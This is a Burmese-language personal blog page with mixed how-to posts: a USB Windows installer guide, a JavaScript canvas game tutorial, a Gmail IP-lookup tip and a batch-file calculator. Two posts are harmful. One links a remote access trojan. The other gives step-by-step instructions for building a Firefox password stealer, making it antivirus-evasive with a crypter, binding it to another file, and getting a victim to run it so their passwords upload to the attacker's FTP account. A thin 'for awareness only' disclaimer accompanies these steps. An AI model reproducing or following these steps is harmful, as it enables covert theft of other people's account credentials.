စစ္နိုင္(suran) စစ္နိုင္(suran) /* Flying Css3 menu www.bloggertrix.com*/
စစ္နိုင္(suran)blog မွ လႈိုက္လွဲစြာၾကိဳဆိုပါသည္
စစ္နိုင္(suran) မွ လႈိုက္လွဲစြာၾကိဳဆိုပါသည္

မိမိရဲ႕ Website မွာ စီးပြားေရး ေၾကာ္ျငာထည္႕ရန္အတြက္

Thursday, August 15, 2013

windows တင္နည္း,

WinToFlash 0.8.0000 Beta (WinToFlash ကိုသံုးၿပီး USB Drive ျဖင့္ Window တင္နည္း)

 
အရင္တင္ထားတဲ့ WinToFlash  Download ေသေနလို႔ ျပန္တင္ေပးပါလို႔ ေတာင္းထားတဲ့ မိတ္ေဆြအတြက္ Version အသစ္ကို တင္ေပးလိုက္ပါတယ္။ Window ကို USB Drive ကေနတင္ဖို႔အတြက္ WinToFlash ေလးက usb ကို ၀င္းဒိုးေခြ အသြင္ေျပာင္းေပးတာပဲျဖစ္ပါတယ္ ... WinToFlash ေလးက ဖိုင္ဆိုက္ေသးၿပီး သံုးရတာလည္း လြယ္ကူပါတယ္ ... USB ကလည္း 4 GB ဆိုလံုေလာက္ပါတယ္ ... တခ်ိဳ႕ CD Drive မဖတ္ေတာ့တာတို႔မ်ိဳးဆိုရင္ ဒီနည္းေလးကအသံုး၀င္ပါတယ္... ေအာက္မွာလည္း ပံုႏွင့္တကြ ေဖာ္ျပေပးထားပါတယ္ ... 


ပထမဆံုး WinToFlash ကိုေဒါင္းေလာ့လုပ္ပါ။
>>>  Download  <<<



 ပံုမွာျပထားတဲ့အတိုင္းႏွိပ္ၿပီး ေဒါင္းေလာ့လုပ္ပါ ...
 ေဒါင္းေလာ့မွရလာေသာ WinToFlash RAR ဖိုင္ေလးကိုဖြင့္ၿပီး 
အထဲကဖိုင္အကုန္လံုးကို Folder တစ္ခုေဆာက္ၿပီးထည့္ပါ ...
(ပံုမ်ားကို ကလစ္ႏွိပ္ၿပီး အၾကီးၾကည့္ႏိုင္ပါသည္)
 Folder ထဲမွ WinToFlash ေလးကို run လိုက္ပါ ...
ပံုမွာျပထားသည့္အတိုင္းတဆင့္ျခင္းလုပ္ေဆာင္ပါ ...
Next ကိုႏွိပ္ပါ ...

ဒီအတိုင္းျမင္ရပါလိမ့္မယ္ ... အေပၚက window files path ေနရာမွာ window CD ထည့္ၿပီး 
ေအာက္က USB drive ေနရာမွာ မိမိတပ္ဆင္ထားေသာ USB ကိုေရြးေပးရမွာပါ ...
 

 ဒီအဆင့္မွာ window files path ေနရာမွာ window CD ဒါမွမဟုတ္ စက္ထဲက ၀င္းဒိုးဖိုင္မွတ္ထားတဲ့ေနရာကို select လုပ္ေပးရပါမယ္ ...
ကၽြန္ေတာ္ကေတာ့ window CD ထည့္ၿပီးသံုးထားပါတယ္ ...


ပံုမွာျပထားသည့္အတိုင္း USB drive ေနရာမွာ မိမိတပ္ဆင္ထားေသာ USB ကိုေရြးေပးရမွာပါ ...

ပံုမွာျပထားသည့္အတိုင္း window CD ႏွင့္ USB ကိုေနရာေပးၿပီးသြားလွ်င္...
Next ကိုႏွိပ္ရပါမယ္ ...

ဒီေနရာမွာ ပံုမွာျပထားသည့္အတိုင္း ေရြးၿပီး continue ကုိႏွိပ္ပါ ...


ပံုမွာျပထားသည့္အတိုင္း WinToFlash ကေျပာင္းလည္းေပးပါလိမ့္မယ္...


ျပီးလွ်င္ Next ေပါ့...



ျပီးလို႔ USB Drive ကို ထုပ္ၿပီး ျပန္တပ္ၾကည့္တဲ့အခါမွာ 
ပံုမွာျပထားသည့္အတိုင္း အသြင္ေျပာင္းသြားတာကို ျမင္ရပါလိမ့္မယ္...
ဒါဆိုရင္ေတာ့ USB ကေန Window တင္ဖို႔အဆင္သင့္ျဖစ္ပါၿပီ ...
ကြန္ပ်ဴတာကို Restart ခ်ၿပီး Keyboard မွ Delete Key ကိုႏွိပ္ထားလိုက္ရင္ BIOS ထဲကိုေရာက္သြားပါလိမ့္မယ္.. 
Advanced BIOS Features ကို select လုပ္ၿပီး Enter ေခါက္ပါ ... 
 First Boot ကို USB HDD  လို႔ေျပာင္းေပးရပါမယ္ ......  
Second Boot Device ကို Hard Disk လို႔ေျပာင္းေပးပါ ...
Keyboard မွ F10 ကိုႏွိပ္ျပီး Save ပါ..
ပန္တက္တဲ့အခါ USB ကေန၀င္းဒိုးတက္ပါၿပီ ...

Monday, August 12, 2013

com.tunn.apk.apkcom.tunn.apk.apk
2214K   Download   
က်ြန္ေတာ္၇ဲ့ app ပါ
com.tunn.apk.apkcom.tunn.apk.apk
2214K   Download  

RAT (သို႔) Trojan ဆိုတာဘာလဲ

အကယ္၍ မ်ား ျခား Computer တစ္ခုရဲ႕ IP address/ Computer Name ေတြကို သိမယ္ဆိုရင္ ကိုယ္လိုသလို ခ်ဳပ္ကိုင္လို႔ ရတယ္ဆိုတာကို Hacker's Secret ဆိုတဲ႔ black hand book ကိုဖတ္ဖူးသူတိုင္း သိႏိုင္ပါတယ္။ က်ေနာ့္ဆီမွာ အဲဒီစာအုပ္က ဖ်က္တဲ႔အထဲပါသြားလို႔ ေနာက္မွပဲျပန္ရွာျပီးတင္ေပးပါ့မယ္...။ ကဲ...Trojan Tool   ေတြကို ၾကည့္လိုက္ၾကရေအာင္....


RAT (သို႔) Trojan ဆိုတာဘာလဲ
RAT ဆိုတာ remote acess trojan (သို႔) remote administrator tool တစ္ခုျဖစ္ပါတယ္။

RAT (သို႔) Trojan တစ္ခုနဲ႔ သင္ဘာေတြ လုပ္ႏိုင္ပါသလဲ
သင္ဟာ ဒီ programေတြကို အသံုးျပဳ၍ အေ၀းမွာေနျပီး informationေတြ၊ file ေတြ၊ device ေတြကို target computer ဆီမွ ရယူႏိုင္ပါတယ္။

TRANSMISSION'S UD RAT V1
 
http://minus.com/ltWgOQfie2SW3

Gmail, Hotmail, etc, Facebook, … Accounts Hacking




တစ္ခုႀကိဳေျပာထားခ်င္တာက … ကၽြန္ေတာ္ ဘာ Hacker မွမဟုတ္ပါ … ဘာမွလည္းမဟုတ္ပါဘူး သားက ခုမွ ေက်ာင္းသားပဲရွိေသးတာ၊ ငယ္ငယ္ေလးပဲခ်ိေသးတာ … ႀကိဳေျပာထားပါတယ္ … ကဲဗ်ာ … စၾက ရေအာင္ …

ဒီလိုဗ် … Facebook တို႔၊ Gmail တို႔ … အစရွိသျဖင့္ေပါ့ဗ်ာ … အေကာင့္ေတြမွာက Username, Password ဆိုၿပီးရွိၾကတယ္ေရာ … Username ကေတာ့ သိၾကတယ္ေပါ့ဗ်ာ … အဲ တစ္ခုလာပီ … Password က်ေတာ့ ပိုင္ရွင္ကလြဲလို႔ တျခားသူမွ မသိၾကတာေလ … မ်ားေသာအားျဖင့္ေပါ့ေနာ္ … ကဲ … သိခ်င္ပီဆိုရင္ … ဘယ္လိုလုပ္မလဲ …

တစ္ရက္က ဒီလိုဗ် … ကၽြန္ေတာ္ႀကံဳဖူးတယ္ … ကၽြန္ေတာ့္ သူငယ္ခ်င္း တစ္ေယာက္ ပါ၊ သူက အင္တာနက္ ခုမွစသံုးခါစ … ဘာမွေတာင္သိေသး တာမဟုတ္ဘူး … Gtalk ေလးစသံုးခါစေပါ့ဗ်ာ … တစ္ရက္က်ေတာ့ ကၽြန္ေတာ့္ကို ေမးလာတယ္ … ငါ့ကိုတဲ့ … Chatting ထဲက ဘဲတစ္ေပြကတဲ့ … ငါ့အေကာင့္ရဲ႕ Security Questions ကို ေမးတယ္ တဲ့ … ေမးေတာ့၊ ငါက အဲဒါဘာလဲ ၊

ဘာလုပ္မလို႔လဲလို႔ ေမးေတာ့ … ငါ့ကိုေျပာျပတဲ့ ငါနင့္အေကာင့္ကို Hack ျပမယ္ဆိုပဲ … (တယ္ေတာ္ပါ လားေပါ့ … :P ) ကၽြန္ေတာ္ေတာင္ ေတာ္ေတာ္ႀကိဳက္သြားတယ္ … ဟီးးး … နင္ကလည္း ျပန္ေျပာလုိက္လို႔ … အဲေလာက္ေတာ္ေနလည္း ျမန္မာမွာေနမေနနဲ႔လို႔ … ႏိုင္ငံျခားထြက္ပီး … လုပ္စားလို႔ ေျပာလုိက္လို႔ … ကၽြန္ေတာ္လည္း ေျပာလုိက္တယ္ … ဟုတ္တယ္ေလ … ဘယ္ႏွယ့္ … Security Question သိမွေတာ့ ဘာထူးေတာ့မလဲ … Password ေျပာျပလုိက္တာကမွ နည္းနည္းခံသာဦးမယ္ … ကဲဗ်ာ … စၾကရေအာင္ …

ယခုနည္းေလးက ကၽြန္ေတာ္တို႔ မ်ားေသာအားျဖင့္ အင္တာနက္အသံုးျပဳတဲ့အခါမွာ Gmail, Website စသည္ျဖင့္ေပါ့ ၾကည့္တဲ့၊ ဖြင့္တဲ့အခါမွာ Browser ကိုအသံုးျပဳၾကရတယ္ေလ … အဲခါမွာ မ်ားေသာအားျဖင့္ နာမည္ႀကီးတဲ့ … Mozilla Firefox ေပါ့ဗ်ာ … အဲ … အဲဒါနဲ႔ပတ္သက္ပီး ယခု တစ္ဆင့္ျခင္း Password တစ္ခုကို ဘယ္လိုယူမလဲဆိုတာေလး နည္းနည္းေလး နည္း လမ္းေလးျပေပး ခ်င္ပါတယ္ ရမရေတာ့ သားလည္း မစမ္းဖူးေတာ့ မသိဘူးေနာ္ … သားေၾကာက္ တယ္ … ၿပီးေတာ့ … ကၽြန္ေတာ္လည္း Hacking စိတ္မ၀င္စားတဲ့အတြက္ေၾကာင့္
ပါ … ဟဲ … :-P

(1) http://www.drivehq.com/ ကိုသြား၍ Account ေလးတစ္ခုေလာက္ Sign Up လုပ္လုိက္ပါ။

(2) Remote Firefox Password Stealer ကို Download http://minus.com/leEHEbZAKIzkG ယူပါ။

(3) Download လုပ္လုိ႔ရလာတဲ့ WinRAR File ကို Extract လုပ္တဲ့အခါမွာ … ေအာက္ပါပံုအတိုင္း Folder တစ္ခု နဲ႔ Files ႏွစ္ခုကို ေတြ႕ရမွာျဖစ္ပါတယ္။

Remote Firefox Password Stealer

(4) Firefox_Password_Stealer.exe ဆိုေသာ File ကို Open လုပ္ပါ။ ေအာက္ပါပံုအတိုင္း ျဖည့္ေပးပါ။ [FTP Server: ftp.drivehq.com, FTP Username: Username, FTP Password: Password] အစရွိသျဖင့္ ျဖည့္ေပးပါ။
Stealer

(5) Build Button ကို Click လုပ္ပါ။

(6) Firefox_Password_Stealer.exe file ရွိေသာ Folder အတြင္းတြင္ စာဖတ္သူက Build Button ကိုႏွိပ္ လုိက္ေသာအခါ File name ေပးလုိက္ေသာ နာမည္ျဖင့္ filename.exe ဆိုေသာ file တစ္ခု ေရာက္ ရွိေန မွာျဖစ္ပါတယ္ခင္ဗ်ာ …

(7) 100% fud crypter.exe ဆိုေသာ file ကို Open လုပ္ပါ။ ထို႔ေနာက္ စာဖတ္သူ Crypt လုပ္ေသာ filename အမည္ျဖင့္ 100% fud crypter.exe ရွိေသာ folder အတြင္းတြင္ ေနာက္ထပ္ filename.exe ျဖင့္ file တစ္ခုေရာက္ ရွိမွာျဖစ္ပါတယ္ခင္ဗ်ာ …

(8) ထို႔ေနာက္ EaSy BindeR ဆိုေသာ folder ကိုဖြင့္၍ အတြင္းမွ Easy Binder.exe ကို Open လုပ္၍   ေစာေစာ က ရရွိထားေသာ file မ်ားကို Bind လုပ္ေပးပါ …

(9) ဒီအဆင့္ထိေရာက္လွ်င္ေတာ့ စာဖတ္သူေနာက္ဆံုး Bind လုပ္၍ ရရွိလာေသာ File ကို စာဖတ္သူ Password သိခ်င္တဲ့ သူဆီကို ပို႔၍ Run ခုိင္းခ်င္ခုိင္း၊ ဒါမွမဟုတ္ စာဖတ္သူကိုယ္တိုင္ Password သိခ်င္တဲ့ လူထုိင္တဲ့စက္မွာ သြားၿပီး Run ခ်င္လည္းရပါတယ္။

စိတ္ႀကိဳက္သာလုပ္ အဓိကက အဲဒီ File ေလး Run ၿပီဆိုတာနဲ႔ စာဖတ္သူ ပထမအဆင့္မွာ Sign Up လုပ္ထား တဲ့ FTP Account ထဲကို စာဖတ္သူလိုခ်င္တဲ့ Password ေတြေရာက္ရွိေန မွာျဖစ္ပါ တယ္ခင္ဗ်ာ … သားေတာ့ မလုပ္ဖူးဘူး … စမ္းခ်င္သူမ်ား , Hack ခ်င္ပါတယ္ဆိုတဲ့ ကိုကိုမ်ား စမ္းခ်င္သပဆို စမ္းသပ္ႏို င္ပါသည္ …

ဒီ Post ႏွင့္ ပတ္သက္၍ မည္သူ႔ကိုမွ် ထိခိုက္ေစလုိျခင္းမရွိပါ၊ ဒီလိုလုပ္လုိ႔ရတယ္ဆိုတာကိုသာ သိေစခ်င္ တာပါ၊ လူ႔စိတ္ဆိုတာ အေကာင္းဖက္ကေတြးရင္ အေကာင္းျမင္တတ္ပါတယ္၊ အဆိုးဖက္ကေတြးရင္ေတာ့ … ?

က်ေနာ္စုေဆာင္သိမ္းဆည္ထားသည့္ နည္းပညာမွတ္စုမ်ားမွ ျပန္လည္မွ်ေဝသည္.

Simple Game Creation 2

Game ေသးေသးေလးတစ္ခုေရးရေအာင္ေနာ္..။ အဓိကကေတာ့.. movement ကုိ..ဘယ္လိုလုပ္လဲ...သိေစ ခ်င္တာပါ..။ ဒီတစ္ခါေတာ့..ရွင္းၿပပါ့မယ္..။ နည္းနည္းနားလည္လာလုိ႔ပါ.. :) ပထမဆံုး.. Folder တစ္ ခုေဆာက္ ပ့ါမယ္..။ ၾကိဳက္တဲ့ေနရာမွာ ေဆာက္လုိက္ပါ..။
Folder ကုိ.. Game လုိ႔ေပးလိုက္ပါ..။
Game Folder ထဲမွာ.. images ဆုိတဲ့ folder တစ္ခုထပ္ေဆာက္ပါ.။ ၿပီးရင္.. Game Folder ေအာက္မွာပဲ. js ဆိုတဲ့ folder တစ္ခုထပ္ေဆာက္လုိက္ပါမယ္..။ ေအာက္က coding ေလးကုိ. copy ကူးလိုက္ပါ..။


<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="utf-8">
        <title>Simple Canvas Game</title>
    </head>
    <body>
        <script src="js/game.js"></script>
    </body>
</html>

notepad မွာ..ထည့္ၿပီး..Game Folder ေအာက္မွာ.. index.html နဲ႔ Save လုိက္ပါ..။




1. Create the canvas

// Create the canvas
var canvas = document.createElement("canvas");
var ctx = canvas.getContext("2d");
canvas.width = 512;
canvas.height = 480;
document.body.appendChild(canvas);

Canvas ဆိုတာ.. Game ကုိ..ဘယ္ေလာက္ size နဲ႔ ေပၚေစခ်င္တာလညး္ဆိုၿပီး.. ေနရာေလး..သတ္မွတ္လိုက္တာပါ..။
2d နဲ႔ပဲေရးမွာမုိ႔လို႔.. canvas.getContext("2d"); ဆိုၿပီးထည့္ထားတာပါ..။
width နဲ႔ height ကုိသတ္မွတ္ေပးပါမယ္..။

2. Include images

// Background image
var bgReady = false;
var bgImage = new Image();
bgImage.onload = function () {
    bgReady = true;
};
bgImage.src = "images/background.png";

အခု.. ေနာက္ခံ background ထည့္ပါမယ္..။
https://github.com/lostdecade/simple_canvas_game/blob/master/images/background.png မွာ. background ေတြ႔ပါလိမ့္မယ္..။
background ေပၚမွာ.. right click ႏွိပ္ၿပီး.. Save Image As ကုိ.ႏွိပ္လိုက္ပါ..။
ပံုကုိ.. Game Folder ေအာက္က images folder ထဲမွာ.backgroundဆုိတဲ့နာမည္နဲ႔...ထည့္လုိက္ပါ..။ bgImage.src = "images/background.png"; က.. background image ကုိ..ထည့္တဲ့ပံုစံပါ..။

3. Game objects

// Game objects
var hero = {
    speed: 256, // movement in pixels per second
    x: 0,
    y: 0
};
var monster = {
    x: 0,
    y: 0
};
var monstersCaught = 0;

Game ထဲမွာပါတဲ့..အေကာင္ေတြရဲ႔ေနရာကုိ.သတ္မွတ္တာပါ..။
https://github.com/lostdecade/simple_canvas_game/blob/master/images/hero.png မွာ..  Hero ပံုကို.. Save လုပ္လိုက္ပါ..။
Game Folder ေအာက္က...images Folder ထဲမွာ. Save ပါမယ္..။
https://github.com/lostdecade/simple_canvas_game/blob/master/images/monster.png မွာ. monster ပံုကုိ.. Save လုပ္လိုက္ပါ။
Game Folder ေအာက္က...images Folder ထဲမွာ. Save ပါမယ္..။
speed: 256 က..အၿမန္ႏွဳန္းကုိ..သတ္မွတ္တာပါ..။ hero မွာပဲပါပါတယ္.။ game play လိုက္ရင္.. monster က.မေရႊ႔ဘူးေလ..။
hero ပဲ..ေရႊ႔ရမွာပါ..။ ဒါေၾကာင့္.. monster ကုိ.အၿမန္ႏွဳန္းမသတ္ေပးထားပါဘူး..။
x: 0,y: 0 ဆိုတာ. postion သတ္မွတ္တာပါ..။ အေကာင္ေလးေတြရဲ႔ position က.. တစ္ခါနဲ႔တစ္ခါ..မတူလို႔.. 0 ေပးထားတာပါ..။
var monstersCaught = 0; က.. monster ကုိ..ထိမိတဲ့အၾကိမ္အေရအတြက္ပါ..။ စစၿခင္းဆိုေတာ့. 0 ေပးထားတာပါ..။

 4. Keyboard Controls

// Handle keyboard controls
var keysDown = {};

addEventListener("keydown", function (e) {
    keysDown[e.keyCode] = true;
}, false);

addEventListener("keyup", function (e) {
    delete keysDown[e.keyCode];
}, false);

ကစားတဲ့သူက..ေရြ႔လိုက္တဲ့ arrow key ေတြကုိ.. AddEventListener နဲ႔ဖမ္းပါတယ္..။
တကယ္လို႔.. down arrow key ကုိ..ႏွိပ္လိုက္မယ္ဆိုရင္.. keysDown ကုိ.. true ေပးလိုက္ပါတယ္..။
down arrow key ကုိ.. ႏွိပ္ေနရင္းနဲ႔.. up arrow key ကုိ..ေၿပာင္းႏွိပ္ခဲ့မယ္ဆိုရင္..Down ကုိ.. delete လုပ္တဲ့အေနနဲ႔.. delete keysDown[e.keyCode]; ဆိုၿပီး..ဖ်က္လိုက္ပါတယ္..။

5. Reset the game

// Reset the game when the player catches a monster
var reset = function () {
    hero.x = canvas.width / 2;
    hero.y = canvas.height / 2;

    // Throw the monster somewhere on the screen randomly
    monster.x = 32 + (Math.random() * (canvas.width - 64));
    monster.y = 32 + (Math.random() * (canvas.height - 64));
};

game ကို...အစကေန..ၿပန္ကစားတာပါ..။
အစကေန..ၿပန္ကစားမယ္ဆိုရင္.. hero နဲ႔.. monster ကုိ..ေနရာၿပန္သတ္မွတ္ေပးမွာပါ..။
hero ကုိ..ေနရာသတ္မွတ္ဖို႔... canvas ရဲ႔.. width ကုိ..တည္ 2နဲ႔စား..။ canvas ရဲ႔.. height ကုိ..တည္ 2နဲ႔စား..။ ရတဲ့.အေၿဖအရ.. x ၀င္ရိုးနဲ႔.. y ၀င္ရိုးသတ္မွတ္ပါတယ္..။
monster ကုိေတာ့.. canvas ရဲ႔.. width ထဲက. 64 ႏွဳတ္.. random ေခါက္ၿပီး.. 32 ေပါင္းပါတယ္...။ height လည္း..တူတူပါပဲ..။
coding အားလံုး..ကူးၿပီးလို႔.. game ကစားၿပီး.. refresh လုပ္ၾကည့္ပါ...။
hero ရဲ႔ေနရာက..မေၿပာင္းပါဘူး..။
monster ကေတာ့... refresh တစ္ခါလုပ္တုိင္း..တစ္ခါေၿပာင္းသြားပါတယ္.. ။

6. Update Game Objects

// Update game objects
var update = function (modifier) {
    if (38 in keysDown) { // Player holding up
        hero.y -= hero.speed * modifier;
    }
    if (40 in keysDown) { // Player holding down
        hero.y += hero.speed * modifier;
    }
    if (37 in keysDown) { // Player holding left
        hero.x -= hero.speed * modifier;
    }
    if (39 in keysDown) { // Player holding right
        hero.x += hero.speed * modifier;
    }
ကစားတ့ဲသူက.. hero နဲ႔.. monster ကုိ.. ေပးထားတဲ့.. position ကေန..စိတ္ၾကိဳက္ေရြ႔လိုက္တဲ့.တန္ဖိုးကုိ..တြက္ခ်က္ေပးတာပါ..။

7. Touching

// Are they touching?
    if (
        hero.x <= (monster.x + 32)
        && monster.x <= (hero.x + 32)
        && hero.y <= (monster.y + 32)
        && monster.y <= (hero.y + 32)
    ) {
        ++monstersCaught;
        reset();
    }
};

hero နဲ႔.. monster နဲ႔... ထိမိသြားတယ္..ဆိုရင္.. monsterCaunght ကုိ..  1 တိုးပါမယ္...။
game ကုိ..အစကေနၿပန္စပါတယ္..။
အဲ့ဒါေၾကာင့္.. အေပၚက reset the game function ကုိ..လွမ္းေခၚလိုက္ပါတယ္...။

8. Rendering

// Draw everything
var render = function () {
    if (bgReady) {
        ctx.drawImage(bgImage, 0, 0);
    }

    if (heroReady) {
        ctx.drawImage(heroImage, hero.x, hero.y);
    }

    if (monsterReady) {
        ctx.drawImage(monsterImage, monster.x, monster.y);
    }

    // Score
    ctx.fillStyle = "rgb(250, 250, 250)";
    ctx.font = "24px Helvetica";
    ctx.textAlign = "left";
    ctx.textBaseline = "top";
    ctx.fillText("Goblins caught: " + monstersCaught, 32, 32);
};

rendering က.. အေပၚဆံုးက.. canvas နဲ႔. background image နဲ႔..သက္ဆုိင္ပါတယ္..။
Image ေတြကို..ဒီတိုင္းထည့္လုိ႔မရပါဘူး... ctx.drawImage(bgImage, 0, 0); ဆိုၿပီး.ထည့္ရပါတယ္..။
hero နဲ႔.. monster လည္း..ဒီအတိုင္းပါပဲ..။ သူတို႔လည္း..ပံုေတြပဲေလ..။
position က x ၀င္ရိုးနဲ႔... y ၀င္ရိုးအတိုင္းသြားမွာမုိ႔လို႔.. hero.x , hero.y , monster.x , monster.y ဆိုၿပီး..သတ္မွတ္ထားတာပါ..။
ctx.fillStyle = "rgb(250, 250, 250)"; ဆိုေတာ့... Goblins caught:  စာသားက.. အၿဖဴေရာင္နဲ႔.ေပၚေနတာပါ..။
font ကုိ. " Helvetica " သံုးထားပါတယ္..။
align က. left ထားၿပီး. basealign ကုိ. top ထားထားလို႔.. Goblins caught:  က ..အေပၚ..ဘယ္ဘက္မွာ..ေပၚေနတာပါ..။
ctx.fillText("Goblins caught: " + monstersCaught, 32, 32); ကေတာ့.. monster နဲ႔..ထိမိတဲ့..အၾကိမ္အေရအတြက္ကုိ..ၿပန္ၿပေပးထာတာပါ..။
Are they touching က. monsterCaught ကုိ..ၿပန္ေခၚၿပီး...သံုးထားတာပါ.။

9. Game Looping

// The main game loop
var main = function () {
    var now = Date.now();
    var delta = now - then;

    update(delta / 1000);
    render();

    then = now;
};
game ကုိ..အၾကိမ္အေရ..ဘယ္ေလာက္နဲ႔..ေဆာ့မယ္ဆိုတာ..အတိအက်မရွိလို႔.. Looping ပတ္ၿပီးသံုးတာပါ..။
update(delta / 1000); render(); က..ဘယ္ game မဆို..ပံုေသပါပဲ..။ Formula လာေပါ့.. :)

10. Start Game

// Let's play this game!
reset();
var then = Date.now();
setInterval(main, 1); // Execute as fast as possible

Game ကုိ..အစကေနကစားေတာ့မယ္ဆိုရင္...အရင္.ေဆာ့ၿပီးသား..အေဟာင္းေတြ..က်န္ခဲ့မွာစိုးလို႔.. reset(); ဆိုတဲ့.. function ကုိ..အရင္လွမ္းေခၚလိုက္တာပါ..။
ၿပီးရင္.. game ကုိ.. looping ပတ္ၿပီးေတာ့.. အေပၚက..အဆင့္ေတြကုိ..တစ္ဆင့္ခ်င္းလွမ္းေခၚၿပီး..အလုပ္လုပ္ပါတယ္..။

Notepad ထဲမွာ..ေရးထည့္ရမယ့္..ပံုစံက..ဒီလိုမ်ိဳးေလးပါ..။

// Create the canvas
var canvas = document.createElement("canvas");
var ctx = canvas.getContext("2d");
canvas.width = 512;
canvas.height = 480;
document.body.appendChild(canvas);

// Background image
var bgReady = false;
var bgImage = new Image();
bgImage.onload = function ()
 {
    bgReady = true;
};
bgImage.src = "images/background.png";

// Game objects
var hero = {
    speed: 256, // movement in pixels per second
    x: 0,
    y: 0
};
var monster = {
    x: 0,
    y: 0
};
var monstersCaught = 0;

// Handle keyboard controls
var keysDown = {};

addEventListener("keydown", function (e) {
    keysDown[e.keyCode] = true;
}, false);

addEventListener("keyup", function (e) {
    delete keysDown[e.keyCode];
}, false);

// Reset the game when the player catches a monster
var reset = function () {
    hero.x = canvas.width / 2;
    hero.y = canvas.height / 2;

    // Throw the monster somewhere on the screen randomly
    monster.x = 32 + (Math.random() * (canvas.width - 64));
    monster.y = 32 + (Math.random() * (canvas.height - 64));
};

// Update game objects
var update = function (modifier) {
    if (38 in keysDown) { // Player holding up
        hero.y -= hero.speed * modifier;
    }
    if (40 in keysDown) { // Player holding down
        hero.y += hero.speed * modifier;
    }
    if (37 in keysDown) { // Player holding left
        hero.x -= hero.speed * modifier;
    }
    if (39 in keysDown) { // Player holding right
        hero.x += hero.speed * modifier;
    }

    // Are they touching?
    if (
        hero.x <= (monster.x + 32)
        && monster.x <= (hero.x + 32)
        && hero.y <= (monster.y + 32)
        && monster.y <= (hero.y + 32)
    ) {
        ++monstersCaught;
        reset();
    }
};

// Draw everything
var render = function () {
    if (bgReady) {
        ctx.drawImage(bgImage, 0, 0);
    }

    if (heroReady) {
        ctx.drawImage(heroImage, hero.x, hero.y);
    }

    if (monsterReady) {
        ctx.drawImage(monsterImage, monster.x, monster.y);
    }

    // Score
    ctx.fillStyle = "rgb(250, 250, 250)";
    ctx.font = "24px Helvetica";
    ctx.textAlign = "left";
    ctx.textBaseline = "top";
    ctx.fillText("Goblins caught: " + monstersCaught, 32, 32);
};

// The main game loop
var main = function () {
    var now = Date.now();
    var delta = now - then;

    update(delta / 1000);
    render();

    then = now;
};

// Let's play this game!
reset();
var then = Date.now();
setInterval(main, 1); // Execute as fast as possible

အဲ့ဒါေတြအားလံုးကုိ.. copy ကူးၿပီး.. Game Folder ေအာက္က.. js Folder ထဲမွာ.. game.js ဆိုၿပီး.. Save လုပ္ပါမယ္.။

အားလံုးၿပီးသြားရင္.. Game Folder ထဲက.. index.html ကုိ.. double click ဖြင့္ၿပီး.. ကစားႏိုင္ပါၿပီ

ဒီေလာက္ဆိုရင္ေတာ့... game တစ္ခုရဲ႔..အေၿခံသေဘာတရားကို...နားလည္မယ္လို႔..ထင္ပါတယ္..။ online မွာလည္း..ရွာၾကည့္ၾကပါ..။ html ကိုသံုးၿပီး..ေရးထားတဲ့.. game ေတြအမ်ားၾကီးပါပဲ..။ super mario လုိမ်ိဳး.. game ကုိ..ကုိယ္တိုင္ထြင္ၾကည့္ၾကေတာ့ေပ့ါေနာ္.. ^_^


GMail ထဲတြင္ ေပးပို႔သူရဲ႕ IP address ကိုရွာေဖြျခင္း

ရိုးရိုးရွင္းရွင္းပါပဲ ... လြယ္လည္း လြယ္ပါတယ္... ဒါ့အျပင္သိျပီးသားလည္း ျဖစ္နိုင္ပါတယ္ ...သိရင္ေတာ့ မဖတ္ပါနဲ႔ေတာ့ အခ်ိန္က တန္ဖိုးရွိပါတယ္... အျခား အဆင့္ျမင့္ပိုင္းေတြကို ဆက္လက္ေလ့လာ ဖို႔အၾကံျပဳပါရေစ။

IP address ရဲ႕ အေရးပါပံုကို အနည္းနဲ႔ အမ်ားေတာ့ သိေလာက္မယ္ထင္ပါတယ္...။ ဒီ post မွာေတာ့ Gmail နဲ႔ Yahoo Mail ထဲမွာ ကိုယ့္ကို Mail ပို႔လိုက္တဲ႔ သူရဲ႕ IP address ကို ရွာေဖြတဲ႔ နည္းေလးပါ။


GMail ထဲတြင္ ေပးပို႔သူရဲ႕ IP address ကိုရွာေဖြျခင္း

၁။ log in လုပ္
၂။ Mail ဖြင့္ ( ကိုယ္သိခ်င္တဲ႔ Mail ကိုေျပာတာပါ ။ )
၃။ header ရဲ႕ ညာဘက္ေထာင့္ options ထဲမွာ ရွိတဲ႔ Show Original ကို click လိုက္ (ေအာက္မွာျပထားတဲ႔ ပံုထဲက အတိုင္းေပါ့ )











၄။ အဲဒါကို click ျပီးသြားရင္ new tab နဲ႔ page တစ္ခုပြင့္လာပါလိမ့္မယ္။ အဲဒီထဲမွာ hostname တခ်ိဳ႕ နဲ႔အတူ [...] ထဲက နံပါတ္ေတြကေတာ့ ဒီေမးလ္ကို ေပးပို႔လိုက္တဲ႔ သူရဲ႕ IP ျဖစ္ပါတယ္...။ ေအာက္မွာျပထားတဲ႔ ပံုစံေလးေတြအတိုင္းေတြ႔ရနိုင္ပါတယ္...။


Received: from gateway15.websitewelcome.com (gateway15.websitewelcome.com
[65.119.112.245])

client-ip=65.119.112.245;

65.119.112.245 က ေပးပို႔သူရဲ႕ IP address ျဖစ္ပါတယ္။ ပို႔လိုက္တဲ႔သူရဲ႕ IP address Track ပါ။

Calculator လုပ္မယ္


ေအာက္ တြင္ေဖၚျပေပးထားတဲ့ .bat code ေလးေတြကို Notepad ထဲ ကူးယူပီးေတာ့ .bat နဲ့ Save လိုက္ပါ...
code:>>>



@ECHO OFF
color f4
title CALCULATOR
ECHO Calculator Version 1
ECHO CREATED BY CHIT TEE
ECHO ------------------------------
-----------------
ECHO * = MULTIPLY
ECHO + = ADD
ECHO - = SUBTRACT
ECHO ------------------------------
-----------------
pause

:loop

echo.
echo ------------------------------
-----------------
SET /p UDefine=
SET /a UDefine=%UDefine%
ECHO =
ECHO %UDefine%
ECHO.
goto loop


ၿပီးရင္ေတာ့ သူ႕ကို ဖြင့္ၿပီးေတာ့ တြက္ခ်က္ၾကေတာ့ ဟီးးး
Page 1 of 141234567Next
စစ္နိုင္(suran)ူ
စစ္နိုင္(suran)blog မွ လႈိုက္လွဲစြာၾကိဳဆိုပါသည္
Myanmar Calendar